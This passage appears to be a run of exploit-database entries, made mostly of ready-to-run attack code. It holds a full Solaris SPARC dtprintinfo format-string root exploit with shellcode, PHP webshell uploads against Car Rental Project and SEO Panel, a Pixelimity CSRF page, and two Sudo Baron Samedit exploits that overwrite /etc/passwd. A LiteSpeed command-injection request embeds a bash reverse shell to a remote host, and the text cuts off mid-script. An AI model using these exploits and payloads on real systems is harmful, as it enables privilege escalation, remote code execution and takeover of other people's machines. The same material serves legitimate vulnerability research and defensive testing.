set_val(ff, i += 4, ff_addr + 56); /* %i3 */ set_val(ff, i += 4, ff_addr + 56); /* %i4 */ set_val(ff, i += 4, ff_addr + 56); /* %i5 */ set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ #ifdef USE_EXEC_SC set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */ #endif /* USE_EXEC_SC */ /* overwrite RET and FPT env vars with the correct addresses */ sprintf(ret_var, "RET=0x%x", ret); env[ret_pos] = ret_var; sprintf(fpt_var, "FPT=0x%x", ff_addr); env[fpt_pos] = fpt_var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); /* check for null bytes (add some padding to env if needed) */ check_zero(ff_addr, "ff address"); check_zero(sc_addr, "sc address"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "error: %s contains a 0x00!\n", pattern); exit(1); } } /* * get_ff_addr(): get fake frame address using a helper program */ int get_ff_addr(char *path, char **argv) { char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char hex[11] = "\x00"; int fd[2], addr; /* truncate program name at correct length and create a hard link */ prog[strlen(path)] = 0x0; unlink(prog); link(argv[0], prog); /* open pipe to read program output */ if (pipe(fd) < 0) { perror("pipe"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("fork"); exit(1); case 0: /* child */ dup2(fd[1], 1); close(fd[0]); close(fd[1]); execve(prog, arg, env); perror("execve"); exit(1); default: /* parent */ close(fd[1]); read(fd[0], hex, sizeof(hex)); break; } /* check and return address */ if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { fprintf(stderr, "error: cannot read ff address from helper program\n"); exit(1); } return addr + 4; } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "error: sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "error: can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address null bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); }
-
Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 SPARC /* * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "You still haven't given up on me?" -- Bruce Wayne * "Never!" -- Alfred Pennyworth * * I would like to thank ~A. for his incredible research work spanning decades, * an endless source of inspiration for me. * * Whoah, this one wasn't easy! This is a pretty lean exploit now, but its * development took me some time. It's been almost two weeks, and I came * close to giving up a couple of times. Here's a summary of the main * roadblocks and complications I ran into while porting my dtprintinfo * format string exploit to SPARC: * * - Half word writes and similar techniques that need to print a large amount * of chars are problematic, because we have both a format string bug and a * stack-based buffer overflow, and we risk running out of stack space! We * might be able to prevent this by increasing the size of the padding buffer, * (buf2) but your mileage may vary. * * - I therefore opted for a more portable single-byte write, but SPARC is a * RISC architecture and as such it's not happy with memory operations on * misaligned addresses... So I had to figure out a possibly novel technique * to prevent the dreaded Bus Error. It involves the %hhn format string, check * it out! * * - Once I had my write-what primitive figured out, I needed to pick a suitable * memory location to patch... and I almost ran out of options. Function * activation records turned out to be cumbersome and unreliable (see my PoC * raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary * start with a null byte, and the usual OS function pointers that were * popular targets 15 years ago are not present in modern Solaris 10 releases * anymore. Finally, I noticed that the libc also contains .plt jump codes * that get executed upon function calling. Since they don't start with a null * byte, I decided to target them. * * - Instead of meddling with jump codes, to keep things simpler I decided to * craft the shellcode directly in the .plt section of libc by exploiting the * format string bug. This technique proved to be very effective, but * empirical tests showed that (for unknown reasons) the shellcode size was * limited to 36 bytes. It looks like there's a limit on the number of args, * to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes * are just enough to escalate privileges. * * After I plugged a small custom shellcode into my exploit, it worked like a * charm. Simple, isn't it?;) * * To get the libc base, use pmap on the dtprintinfo process, e.g.: * $ pmap 4190 | grep libc.so.1 | grep r-x * FE800000 1224K r-x-- /lib/libc.so.1 * * To grab the offset to strlen in .plt, you can use objdump as follows: * $ objdump -R /usr/lib/libc.so.1 | grep strlen * 0014369c R_SPARC_JMP_SLOT strlen * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * See also: * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) * raptor_dtprintcheckdir_intel2.c * raptor_dtprintcheckdir_sparc.c (just a proof of concept) * * Usage: * $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0 * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10) * Using libc/.plt/strlen : 0xfe94369c * * Don't worry if you get a SIGILL, just run /bin/ksh anyway! * * lpstat called with -v * lpstat called with -v * lpstat called with -d * [on your xserver: double click on the fake "fnord" printer] * Illegal Instruction * $ ls -l /bin/ksh * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh * $ ksh * # id * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) * # * * Tested on: * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise * [previous Solaris versions are also likely vulnerable (and easier to exploit)] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define BUFSIZE 3000 // size of evil env var #define BUFSIZE2 10000 // size of padding buf #define STACKPOPSEQ "%.8x" // stackpop sequence #define STACKPOPS 383 // number of stackpops /* default retloc is .plt/strlen in libc */ #define LIBCBASE 0xfe800000 // base address of libc #define STRLEN 0x0014369c // .plt/strlen offset /* calculate numeric arguments for write string */ #define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ N1 = (B4 - BASE) % 0x100; \ N2 = (B2 - BASE - N1) % 0x100; \ N3 = (B1 - BASE - N1 - N2) % 0x100; \ N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ BASE += N1 + N2 + N3 + N4; \ } char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */ /* chmod("./me", 037777777777) */ "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ "\x20\xbf\xff\xff" /* bn,a <sc> */ "\x7f\xff\xff\xff" /* call <sc + 4> */ "\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */ "\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */ "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "./me"; /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; char platform[256], release[256], display[256]; int retloc = LIBCBASE + STRLEN; int i, stackpops = STACKPOPS; unsigned base, n[strlen(sc)]; /* must be unsigned */ /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc < 2) { fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); if (argc > 2) retloc = (int)strtoul(argv[2], (char **)NULL, 0); /* evil env var: name + shellcode + padding */ bzero(buf, sizeof(buf)); memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); p += strlen("REQ_DIR="); /* padding buffer to avoid stack overflow */ memset(buf2, 'B', sizeof(buf2)); buf2[sizeof(buf2) - 1] = 0x0; /* fill the envp, keeping padding */ add_env(buf2); add_env(buf); add_env(display); add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */ add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* format string: retloc */ for (i = retloc; i - retloc < strlen(sc); i += 4) { check_zero(i, "ret location"); *((void **)p) = (void *)(i); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ } /* format string: stackpop sequence */ base = p - buf - strlen("REQ_DIR="); for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); /* calculate numeric arguments */ for (i = 0; i < strlen(sc); i += 4) CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base); /* check for potentially dangerous numeric arguments below 10 */ for (i = 0; i < strlen(sc); i++) n[i] += (n[i] < 10) ? (0x100) : (0); /* format string: write string */ for (i = 0; i < strlen(sc); i += 4) p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]); /* setup the directory structure and the symlink to /bin/ksh */ unlink("/tmp/just/chmod/me"); rmdir("/tmp/just/chmod"); rmdir("/tmp/just"); mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO); mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO); symlink("/bin/ksh", "/tmp/just/chmod/me"); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc); fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "error: %s contains a 0x00!\n", pattern); exit(1); } }
-
Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution # Date: 3/2/2021 # Exploit Author: Jannick Tiger # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/ # Version: V 2.0 # Tested on Windows 10, XAMPP POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------346751171915680139113101061568 Content-Length: 369 Origin: http://localhost Connection: close Referer: http://localhost/carrental/admin/changeimage1.php?imgid=4 Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e Upgrade-Insecure-Requests: 1 -----------------------------346751171915680139113101061568 Content-Disposition: form-data; name="img1"; filename="1.php" Content-Type: application/octet-stream <?php @eval($_POST[pp]);?> -----------------------------346751171915680139113101061568 Content-Disposition: form-data; name="update" -----------------------------346751171915680139113101061568-- # Uploaded Malicious File can be Found in : carrental\admin\img\vehicleimages\1.php # go to http://localhost/carrental/admin/img/vehicleimages/1.php, Execute malicious code via post value phpinfo();
-
Pixelimity 1.0 - 'password' Cross-Site Request Forgery
# Exploit Title: Pixelimity 1.0 - 'password' Cross-Site Request Forgery # Date: 2020-06-03 # Exploit Author: Noth # Vendor Homepage: https://github.com/pixelimity/pixelimity # Software Link: https://github.com/pixelimity/pixelimity # Version: v1.0 # CVE : 2020-23522 Pixelimity 1.0 has cross-site request forgery via the admin/setting.php data [Password] parameter. PoC : <html> <body> <script>history.pushState(",",'/')</script> <form action=“http://127.0.0.1/pixelimity-dev/admin/setting.php ” method=“POST”> <input type=“hidden” name=“submit_setting” value=“Save Setting”/> <input type=“hidden” name=“data[admin_portfolio_show]” value=“5”/> <input type=“hidden” name=“data[admin_pages_show]” value=“5”/> <input type=“hidden” name=“admin[data_password]” value=“456789”/> <input type=“hidden” name=“data[site#95;name]" value=“Pixelimity”/> <input type=“hidden” name=“data[site_name]show]” value=“My Online Portfolio”/> <input type=“hidden” name=“data[home_image_size]” value=“5”/> <input type=“hidden” name=“ data[single_image_image_size#93 ” value=“ 240&44;0,0&44;auto ”/> <input type=“hidden” name=“data[single_image_image_size#93” value=“720&44;0,0&44;auto”/> <input type=“submit” value=“Submit request”/> </form> </body> </html>
-
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)
# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1) # Date: 2021-02-02 # Exploit Author: West Shepherd # Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1. # Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31 # CVE : CVE-2021-3156 # Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code. # Sources: # (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit # (2) https://github.com/stong/CVE-2021-3156 # Requirements: Python3 #!/usr/bin/python3 import os import pwd import time import sys import argparse class Exploit(object): username = '' size = 0 data = '' def __init__(self, source, target, sleep): self.sleep = sleep self.source = source self.target = target @staticmethod def readFile(path): return open(path, 'r').read() @staticmethod def getUser(): return pwd.getpwuid(os.getuid())[0] @staticmethod def getSize(path): return os.stat(path).st_size def main(self): self.username = self.getUser() self.data = self.readFile(self.source) self.size = self.getSize(self.target) environ = { '\n\n\n\n\n': '\n' + self.data, 'SUDO_ASKPASS': '/bin/false', 'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'A': 'A' * 0xffff } for i in range(5000): directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory if os.path.exists(directory): sys.stdout.write('file exists %s\n' % directory) continue child = os.fork() os.environ = environ if child: sys.stdout.write('[+] parent %d \n' % i) sys.stdout.flush() time.sleep(self.sleep) if not os.path.exists(directory): try: os.mkdir(directory, 0o700) os.symlink(self.target, '%s/%s' % (directory, self.username)) os.waitpid(child, 0) except: continue else: sys.stdout.write('[+] child %d \n' % i) sys.stdout.flush() os.setpriority(os.PRIO_PROCESS, 0, 20) os.execve( path='/usr/bin/sudoedit', argv=[ '/usr/bin/sudoedit', '-A', '-s', '\\', overflow ], env=environ ) sys.stdout.write('[!] execve failed\n') sys.stdout.flush() os.abort() break if self.size != self.getSize(self.target): sys.stdout.write('[*] success at iteration %d \n' % i) sys.stdout.flush() break sys.stdout.write(""" \nConsider the following if the exploit fails: \n\t(1) If all directories are owned by root then sleep needs to be decreased. \n\t(2) If they're all owned by you, then sleep needs increased. """) if __name__ == '__main__': parser = argparse.ArgumentParser( add_help=True, description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *' ) try: parser.add_argument('-source', action='store', help='Path to malicious "passwd" file to overwrite the target') parser.add_argument('-target', action='store', help='Target file path to be overwritten (default: /etc/passwd)') parser.add_argument('-sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds') parser.set_defaults(target='/etc/passwd', sleep='0.01') options = parser.parse_args() if options.source is None: parser.print_help() sys.exit(1) exp = Exploit( source=options.source, target=options.target, sleep=float(options.sleep) ) exp.main() except Exception as err: sys.stderr.write(str(err))
-
LiteSpeed Web Server Enterprise 5.4.11 - Command Injection (Authenticated)
# Exploit Title: LiteSpeed Web Server Enterprise 5.4.11 - Command Injection (Authenticated) # Date: 05/20/2021 # Exploit Author: cmOs - SunCSR # Vendor Homepage: https://www.litespeedtech.com/ # Software Link: https://www.litespeedtech.com/products # Version: 5.4.11 # Ubuntu/Kali Linux Step 1: Log in to the dashboard using the Administrator account. Step 2 : Access Server Configuration > Server > External App > Edit Step 3: Set "Start By Server *" Value to "Yes (Through CGI Daemon) Step 4 : Inject payload "fcgi-bin/lsphp5/../../../../../bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'" to "Command" value Step 5: Graceful Restart [POC] POST /config/confMgr.php HTTP/1.1 Host: 192.168.1.6:7080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/* ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://192.168.1.6:7080/config/confMgr.php?m=serv&p=ext&t=A_EXT_FCGI&r=file&a=E&tk=0.59220300%201612516386 Content-Type: application/x-www-form-urlencoded Content-Length: 505 Origin: https://192.168.1.6:7080 Connection: close Cookie: LSWSWEBUI=85fa7ba9b37d18d57e41e092a2a2a61f; lsws_uid=j%2FsI8GRiKBc%3D; lsws_pass=c7pC2izvdbQ%3D Upgrade-Insecure-Requests: 1 name=file&address=127.0.0.1%3A5434¬e=&maxConns=2000&env=&initTimeout=1&retryTimeout=1&persistConn=1&pcKeepAliveTimeout=20&respBuffer=0&autoStart=1&path=fcgi-bin%2Flsphp5%2F..%2F..%2F..%2F..%2F..%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.6%2F1234+0%3E%261%27&backlog=&instances=&extUser=root&extGroup=root&umask=&runOnStartUp=3&extMaxIdleTime=&priority=&memSoftLimit=&memHardLimit=&procSoftLimit=&procHardLimit=&a=s&m=serv&p=ext&t=A_EXT_FCGI&r=file&tk=0.59220300+1612516386&file_create=
-
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2)
# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2) # Authors and Contributors: cts, help from r4j, debug by nu11secur1ty # Date: 30.01.2021 # Vendor: https://www.sudo.ws/ # Link: https://www.sudo.ws/download.html # CVE: CVE-2021-3156 [+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021 [Exploit Program Code] // Exploit by @gf_256 aka cts // With help from r4j // Debug by @nu11secur1ty // Original advisory by Baron Samedit of Qualys // Tested on Ubuntu 18.04 and 20.04 & 20.04.01 // You will probably need to adjust RACE_SLEEP_TIME. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <pwd.h> // !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!! #define RACE_SLEEP_TIME 10000 char *target_file; char *src_file; size_t query_target_size() { struct stat st; stat(target_file, &st); return st.st_size; } char* read_src_contents() { FILE* f = fopen(src_file, "rb"); if (!f) { puts("oh no baby what are you doing :("); abort(); } fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); char *content = malloc(fsize + 1); fread(content, 1, fsize, f); fclose(f); return content; } char* get_my_username() { // getlogin can return incorrect result (for example, root under su)! struct passwd *pws = getpwuid(getuid()); return strdup(pws->pw_name); } int main(int my_argc, char **my_argv) { puts("CVE-2021-3156 PoC by @gf_256"); puts("original advisory by Baron Samedit"); if (my_argc != 3) { puts("./meme <target file> <src file>"); puts("Example: ./meme /etc/passwd my_fake_passwd_file"); return 1; } target_file = my_argv[1]; src_file = my_argv[2]; printf("we will overwrite %s with stuff from %s\n", target_file, src_file); char* myusername = get_my_username(); printf("hi, my name is %s\n", myusername); size_t initial_size = query_target_size(); printf("%s is %zi big right now\n", target_file, initial_size); char* stuff_to_write = read_src_contents(); char memedir[1000]; char my_symlink[1000]; char overflow[1000]; char* bigstuff = calloc(1,0x10000); memset(bigstuff, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL }; char *envp[] = { "\n\n\n\n\n", // put some newlines here to separate our real contents from the junk stuff_to_write, "SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ", bigstuff, NULL }; puts("ok podracing time bitches"); // Boom =) // for (int i = 0; i < 5000; i++) for (int i = 0; i < 3000; i++) { sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); sprintf(my_symlink, "%s/%s", memedir, myusername); puts(memedir); if (access(memedir, F_OK) == 0) { printf("dude, %s already exists, do it from a clean working dir\n", memedir); return 1; } pid_t childpid = fork(); if (childpid) { // parent usleep(RACE_SLEEP_TIME); mkdir(memedir, 0700); symlink(target_file, my_symlink); waitpid(childpid, 0, 0); } else { // child setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability execve("/usr/bin/sudoedit", argv, envp); // noreturn puts("execve fails?!"); abort(); } if (query_target_size() != initial_size) { puts("target file has a BRUH MOMENT!!!! SUCCess???"); system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'"); // ayy lmao return 0; } } puts("Failed?"); puts("if all the meme dirs are owned by root, the usleep needs to be decreased."); puts("if they're all owned by you, the usleep needs to be increased"); return 0; }
-
SEO Panel 4.6.0 - Remote Code Execution (2)
# Exploit Title: SEO Panel 4.6.0 - Remote Code Execution (2) # Date: 22 Jan 2021 # Exploit Author: Kr0ff # Vendor Homepage: https://www.seopanel.org/https://www.kentico.com/ # Software Link: https://www.seopanel.org/spdownload/4.6.0 # Version: 4.6.0 # Tested on: Ubuntu 20.04 #!/usr/bin/env python3 ''' DESCRIPTION: - SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload FIXED: - ver 4.7.0 AUTHOR: - Kr0ff ''' #https://asciiart.website/index.php?art=animals/bats try: import requests import argparse import sys from termcolor import colored from time import sleep except ImportError as e: print(colored("[ERROR]: ", "red"), f"{e}") def arty(): artz = """ HAPPY HALLOWEEN ! ....._ `. ``-. .-----.._ `, `-. .: /` : `".. ..-`` : / ...--:::`n n.`::... : `:`` .` :: / `. ``---..:. `\ .` ._: .-: :: `. .-`` : : :_\\_/: : .:: `. / : / \-../:/_.`-` \ : :: _.._ q` p ` /` \| :-` ``(_. ..-----hh``````/-._: `: `` / ` E: / : _/ : _..-`` l--`` ---------------------------------------------------------- _ ___ ___ ___ ___ __ ___ ___| |___ ___ ___ |_ -| -_| . | . ||. | | -_| | _| _| -_| |___|___|___| _|___|_|_|___|_|_| |___|___| |_| 4.6.0 @Kr0ff ---------------------------------------------------------- """ print(artz) #Initialize requests to create a session r = requests.session() #Create a login for the user def login(TARGET, USER, PASS): data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""} headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"} req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False) if req.status_code == 200: print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n") else: print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n") print("Please check if you are providing the right path to 'seopanel' or if server is live...") get_ch = req.headers.get("Set-Cookie") return get_ch #Upload the webshell to target server def exploit(TARGET, USER, PASS): login(TARGET, USER, PASS) headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"} payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['veiocx']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: 